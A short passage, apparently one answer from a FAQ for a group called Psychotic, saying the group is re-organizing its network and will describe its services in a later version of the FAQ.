A.      Psychotic has many different services but as of now we are getting
re-organized and putting our network together.  We will discuss our services
in the next version of the Psychotic FAQ.

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